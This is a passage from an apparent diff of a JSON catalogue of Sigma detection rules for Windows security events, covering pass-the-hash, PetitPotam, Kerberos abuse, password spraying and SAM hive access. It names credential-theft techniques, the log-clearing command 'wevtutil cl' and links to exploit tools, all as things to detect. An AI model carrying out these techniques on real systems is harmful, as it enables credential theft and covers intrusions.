"attack.lateral_movement", + "attack.s0002", + "attack.t1550.002" + ], + "creation_date": "2018/02/12", + "filename": "win_security_overpass_the_hash.yml", + "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", + "level": "high", + "falsepositive": [ + "Runas command-line tool using /netonly parameter" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", + "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", + "value": "Pass the Hash Activity 2", + "meta": { + "refs": [ + "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", + "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", + "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1550.002" + ], + "creation_date": "2019/06/14", + "filename": "win_security_pass_the_hash_2.yml", + "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", + "level": "medium", + "falsepositive": [ + "Administrator activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect PetitPotam coerced authentication activity.", + "uuid": "1ce8c8a3-2723-48ed-8246-906ac91061a6", + "value": "Possible PetitPotam Coerce Authentication Attempt", + "meta": { + "refs": [ + "https://github.com/topotam/PetitPotam", + "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1187" + ], + "creation_date": "2021/09/02", + "filename": "win_security_petitpotam_network_share.yml", + "author": "Mauricio Velazco, Michael Haag", + "level": "high", + "falsepositive": [ + "Unknown. Feedback welcomed." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n", + "uuid": "6a53d871-682d-40b6-83e0-b7c1a6c4e3a5", + "value": "PetitPotam Suspicious Kerberos TGT Request", + "meta": { + "refs": [ + "https://github.com/topotam/PetitPotam", + "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1187" + ], + "creation_date": "2021/09/02", + "filename": "win_security_petitpotam_susp_tgt_request.yml", + "author": "Mauricio Velazco, Michael Haag", + "level": "high", + "falsepositive": [ + "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects DCShadow via create new SPN", + "uuid": "32e19d25-4aed-4860-a55a-be99cb0bf7ed", + "value": "Possible DC Shadow Attack", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/blob/ec5bb710499caae6667c7f7311ca9e92c03b9039/rules/windows/builtin/win_dcsync.yml", + "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", + "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1207" + ], + "creation_date": "2019/10/25", + "filename": "win_security_possible_dc_shadow.yml", + "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah", + "level": "medium", + "falsepositive": [ + "Valid on domain controllers; exclude known DCs" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell script installed as a Service", + "uuid": "2a926e6a-4b81-4011-8a96-e36cc8c04302", + "value": "PowerShell Scripts Installed as Services", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "win_security_powershell_script_installed_as_service.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", + "uuid": "45545954-4016-43c6-855e-eae8f1c369dc", + "value": "Protected Storage Service Access", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2019/08/10", + "filename": "win_security_protected_storage_service_access.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code", + "uuid": "b0d77106-7bb0-41fe-bd94-d1752164d066", + "value": "Rare Schtasks Creations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rare_schtasks_creations.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.persistence", + "car.2013-08-001", + "attack.t1053.005" + ], + "creation_date": "2017/03/23", + "filename": "win_security_rare_schtasks_creations.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Software installation", + "Software updates" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", + "uuid": "8400629e-79a9-4737-b387-5db940ab2367", + "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln", + "meta": { + "refs": [ + "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_bluekeep_poc_scanner.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ], + "creation_date": "2019/06/02", + "filename": "win_security_rdp_bluekeep_poc_scanner.yml", + "author": "Florian Roth (rule), Adam Bradbury (idea)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "RDP login with localhost source address may be a tunnelled login", + "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", + "value": "RDP Login from Localhost", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_localhost_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "car.2013-07-002", + "attack.t1021.001" + ], + "creation_date": "2019/01/28", + "filename": "win_security_rdp_localhost_login.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", + "uuid": "5bed80b6-b3e8-428e-a3ae-d3c757589e41", + "value": "RDP over Reverse SSH Tunnel WFP", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1096148422984384514", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.lateral_movement", + "attack.t1090.001", + "attack.t1090.002", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2019/02/16", + "filename": "win_security_rdp_reverse_tunnel.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Programs that connect locally to the RDP port" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of Rubeus via registered new trusted logon process", + "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7", + "value": "Register new Logon Process by Rubeus", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1558.003" + ], + "creation_date": "2019/10/24", + "filename": "win_security_register_new_logon_process_by_rubeus.yml", + "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", + "uuid": "13acf386-b8c6-4fe0-9a6e-c4756b974698", + "value": "Remote PowerShell Sessions Network Connections (WinRM)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "win_security_remote_powershell_session.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Legitimate use of remote PowerShell execution" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", + "uuid": "5a44727c-3b85-4713-8c44-4401d5499629", + "value": "Replay Attack Detected", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_replay_attack_detected.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", + "uuid": "45eb2ae2-9aa2-4c3a-99a5-6e5077655466", + "value": "Suspicious Computer Account Name Change CVE-2021-42287", + "meta": { + "refs": [ + "https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_samaccountname_spoofing_cve_2021_42287.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/22", + "filename": "win_security_samaccountname_spoofing_cve_2021_42287.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects handles requested to SAM registry hive", + "uuid": "f8748f2c-89dc-4d95-afb0-5a2dfdbad332", + "value": "SAM Registry Hive Handle Request", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.credential_access", + "attack.t1552.002" + ], + "creation_date": "2019/08/12", + "filename": "win_security_sam_registry_hive_handle_request.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", + "uuid": "4f86b304-3e02-40e3-aa5d-e88a167c9617", + "value": "Scheduled Task Deletion", + "meta": { + "refs": [ + "https://twitter.com/matthewdunwoody/status/1352356685982146562", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "car.2013-08-001", + "attack.t1053.005" + ], + "creation_date": "2021/01/22", + "filename": "win_security_scheduled_task_deletion.yml", + "author": "David Strassegger, Tim Shelton", + "level": "low", + "falsepositive": [ + "Software installation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-system users failing to get a handle of the SCM database.", + "uuid": "13addce7-47b2-4ca0-a98f-1de964d1d669", + "value": "SCM Database Handle Failure", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1010" + ], + "creation_date": "2019/08/12", + "filename": "win_security_scm_database_handle_failure.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-system users performing privileged operation os the SCM database", + "uuid": "dae8171c-5ec6-4396-b210-8466585b53e9", + "value": "SCM Database Privileged Operation", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2019/08/15", + "filename": "win_security_scm_database_privileged_operation.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", + "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", + "value": "Remote WMI ActiveScriptEventConsumers", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2020/09/02", + "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "SCCM" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", + "uuid": "c4e92a97-a9ff-4392-9d2d-7a4c642768ca", + "value": "Service Installed By Unusual Client - Security", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", + "https://twitter.com/SBousseaden/status/1490608838701166596", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/09/15", + "filename": "win_security_service_installation_by_unusal_client.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "security", + "logsource.product": "windows" + } + }, + { + "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", + "uuid": "b210394c-ba12-4f89-9117-44a2464b9511", + "value": "SMB Create Remote File Admin Share", + "meta": { + "refs": [ + "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", + "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/08/06", + "filename": "win_security_smb_file_creation_admin_shares.yml", + "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Addition of domains is seldom and should be verified for legitimacy.", + "uuid": "0255a820-e564-4e40-af2b-6ac61160335c", + "value": "Addition of Domain Trusts", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2019/12/03", + "filename": "win_security_susp_add_domain_trust.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Legitimate extension of domain structure" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "An attacker can use the SID history attribute to gain additional privileges.", + "uuid": "2632954e-db1c-49cb-9936-67d1ef1d17d2", + "value": "Addition of SID History to Active Directory Object", + "meta": { + "refs": [ + "https://adsecurity.org/?p=1772", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1134.005" + ], + "creation_date": "2017/02/19", + "filename": "win_security_susp_add_sid_history.yml", + "author": "Thomas Patzke, @atc_project (improvements)", + "level": "medium", + "falsepositive": [ + "Migration of an account into a new domain" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Code integrity failures may indicate tampered executables.", + "uuid": "470ec5fa-7b4e-4071-b200-4c753100f49b", + "value": "Failed Code Integrity Checks", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_codeintegrity_check_failure.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ], + "creation_date": "2019/12/03", + "filename": "win_security_susp_codeintegrity_check_failure.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Disk device errors" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", + "uuid": "39698b3f-da92-4bc6-bfb5-645a98386e45", + "value": "Win Susp Computer Name Containing Samtheadmin", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1511760068743766026", + "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", + "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" + ], + "tags": [ + "cve.2021.42278", + "cve.2021.42287", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2022/09/09", + "filename": "win_security_susp_computer_name.yml", + "author": "elhoim", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "security", + "logsource.product": "windows" + } + }, + { + "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", + "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51", + "value": "Password Change on Directory Service Restore Mode (DSRM) Account", + "meta": { + "refs": [ + "https://adsecurity.org/?p=1714", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2017/02/19", + "filename": "win_security_susp_dsrm_password_change.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Initial installation of a domain controller" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "uuid": "d99b79d2-0a6f-4f46-ad8b-260b6e17f982", + "value": "Security Eventlog Cleared", + "meta": { + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2017/01/10", + "filename": "win_security_susp_eventlog_cleared.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a source user failing to authenticate with multiple users using explicit credentials on a host.", + "uuid": "196a29c2-e378-48d8-ba07-8a9e61f7fab9", + "value": "Multiple Users Attempting To Authenticate Using Explicit Credentials", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_explicit_credentials.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_explicit_credentials.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple accounts from a single process on the system.", + "uuid": "fe563ab6-ded4-4916-b49f-a3a8445fe280", + "value": "Multiple Users Failing to Authenticate from Single Process", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_process.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "uuid": "e98374a6-e2d9-4076-9b5c-11bdb2569995", + "value": "Failed Logins with Different Accounts from Single Source System", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2017/01/10", + "filename": "win_security_susp_failed_logons_single_source.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "uuid": "6309ffc4-8fa2-47cf-96b8-a2f72e58e538", + "value": "Failed Logins with Different Accounts from Single Source System", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source2.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2017/01/10", + "filename": "win_security_susp_failed_logons_single_source2.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.", + "uuid": "5d1d946e-32e6-4d9a-a0dc-0ac022c7eb98", + "value": "Valid Users Failing to Authenticate From Single Source Using Kerberos", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_kerberos.yml", + "author": "Mauricio Velazco, frack113", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.", + "uuid": "4b6fe998-b69c-46d8-901b-13677c9fb663", + "value": "Disabled Users Failing To Authenticate From Source Using Kerberos", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos2.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_kerberos2.yml", + "author": "Mauricio Velazco, frack113", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.", + "uuid": "bc93dfe6-8242-411e-a2dd-d16fa0cc8564", + "value": "Invalid Users Failing To Authenticate From Source Using Kerberos", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos3.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_kerberos3.yml", + "author": "Mauricio Velazco, frack113", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.", + "uuid": "f88bab7f-b1f4-41bb-bdb1-4b8af35b0470", + "value": "Valid Users Failing to Authenticate from Single Source Using NTLM", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_ntlm.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.", + "uuid": "56d62ef8-3462-4890-9859-7b41e541f8d5", + "value": "Invalid Users Failing To Authenticate From Single Source Using NTLM", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_ntlm2.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" 